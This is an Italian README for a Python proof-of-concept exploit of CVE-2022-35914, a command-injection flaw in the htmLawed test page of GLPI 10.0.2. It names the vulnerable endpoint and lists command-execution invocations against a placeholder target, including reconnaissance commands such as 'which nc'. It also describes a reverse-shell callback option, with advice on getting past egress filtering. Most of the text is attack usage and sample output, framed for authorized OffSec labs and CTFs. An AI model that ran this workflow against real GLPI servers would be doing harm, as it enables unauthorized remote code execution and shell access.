CVE-2022-35914 di cyb3rk0ala

PoC per CVE-2022-35914, una vulnerabilità di command-injection che coinvolge il componente di test htmLawed in installazioni GLPI vulnerabili.

Lo strumento fornisce l'esecuzione di comandi attraverso l'endpoint vulnerabile e include funzionalità di callback opzionali per ambienti di laboratorio autorizzati.

Disclaimer: Questo progetto è destinato esclusivamente a test di sicurezza autorizzati, CTF, laboratori OffSec/PG e scopi educativi. Non utilizzarlo contro sistemi senza esplicita autorizzazione.

Vulnerabilità

Campo	Dettagli
CVE	`CVE-2022-35914`
Software	GLPI v.10.0.2
Componente	htmLawed
Endpoint vulnerabile	`/vendor/htmlawed/htmlawed/htmLawedTest.php`

Il componente vulnerabile può consentire l'esecuzione di comandi tramite parametri appositamente costruiti su installazioni interessate.

Funzionalità

Esecuzione di comandi
Costruzione automatica dell'URL di destinazione
Porta HTTP di destinazione configurabile
Recupero automatico di sessione/token
Estrazione dell'output dei comandi
Verifica della destinazione
Supporto User-Agent personalizzato
Configurazione opzionale del callback
Output del terminale colorato
Interfaccia CLI Python 3

Requisiti

Python 3 e le dipendenze richieste.

Kali Linux

sudo apt install python3-requests python3-bs4

Ambiente Virtuale

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Installazione

Clona il repository:

git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Rendi eseguibile lo script:

chmod +x glpi.py

Utilizzo

Aiuto

python3 glpi.py -h

Esecuzione Base di un Comando

python3 glpi.py -u TARGET_IP -c 'id'

Output di esempio:

[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Esecuzione di Comandi

L'opzione -c specifica il comando da eseguire.

Utente Corrente

python3 glpi.py -u TARGET_IP -c 'whoami'

Privilegi Correnti

python3 glpi.py -u TARGET_IP -c 'id'

Sistema Operativo

python3 glpi.py -u TARGET_IP -c 'uname -a'

Utility Disponibili

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Opzioni

Opzione	Descrizione	Predefinito
`-u`, `--url`	URL o indirizzo IP di destinazione	Obbligatorio
`-c`, `--cmd`	Comando da eseguire	`id`
`--check`	Verifica la destinazione senza eseguire un comando	Disabilitato
`--user-agent`	User-Agent HTTP personalizzato	Predefinito
`-p`, `--rport`	Porta del servizio HTTP di destinazione	`80`
`-l`, `--lhost`	Indirizzo IP di callback/listener	—
`-lp`, `--lport`	Porta di callback/listener	—

Porta di Destinazione

L'opzione -p / --rport specifica la porta su cui è in esecuzione il servizio web GLPI vulnerabile.

Predefinito:

Esempio:

python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Verifica della Destinazione

Usa --check per verificare che la pagina di test htmLawed sia disponibile senza eseguire un comando:

python3 glpi.py -u TARGET_IP --check

User-Agent Personalizzato

È possibile fornire un User-Agent HTTP personalizzato con:

python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Reverse Shell

Lo script supporta parametri di callback opzionali:

-l   IP di callback/listener
-lp  Porta di callback/listener

Esempio:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

In questo esempio:

Target:   TARGET_IP:80
Callback: LHOST:80

Le due porte hanno scopi diversi:

-p   = Porta HTTP GLPI di destinazione
-lp  = Porta di callback/listener

Nota sul Laboratorio OffSec

Durante i test in un ambiente di laboratorio OffSec, il callback ha funzionato correttamente sulla porta TCP 80.

Altre porte di callback, come 4444, potrebbero andare in timeout a seconda della rete del laboratorio e del filtraggio in uscita.

Per l'ambiente testato:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Il listener è stato configurato sull'interfaccia VPN di Kali utilizzando la porta TCP 80.

Importante: L'utilizzo della porta 80 per il callback è un'osservazione specifica dell'ambiente. Non è un requisito di CVE-2022-35914.

Risoluzione dei Problemi

L'Esecuzione dei Comandi Funziona ma il Callback No

Per prima cosa verifica l'esecuzione dei comandi:

python3 glpi.py -u TARGET_IP -c 'id'

Controlla se le utility richieste esistono:

python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Se l'esecuzione dei comandi funziona ma il callback va in timeout, controlla il routing VPN e la porta di callback.

L'Output dei Comandi Sembra Errato

Se il parsing dell'output dei comandi fallisce, la risposta HTTP completa viene salvata in:

/tmp/glpi.html

Ispezionala con:

less /tmp/glpi.html

oppure:

mousepad /tmp/glpi.html

Flusso di Lavoro di Esempio

1. Verifica la Destinazione

python3 glpi.py \
    -u TARGET_IP \
    --check

2. Conferma l'Esecuzione dei Comandi

python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identifica l'Utente Corrente

python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Controlla gli Strumenti Disponibili

python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configura il Callback

Per l'ambiente di laboratorio OffSec testato:

python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Disclaimer

Questo progetto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.

L'autore non è responsabile per qualsiasi uso improprio, danno, accesso non autorizzato o attività illegale che coinvolga questo software.

Ottieni sempre un'esplicita autorizzazione prima di testare un sistema.

Autore

cyb3rk0ala

CVE

CVE-2022-35914

Progetto

CVE-2022-35914 di cyb3rk0ala

CVE-2022-35914-RCE

Più Popolari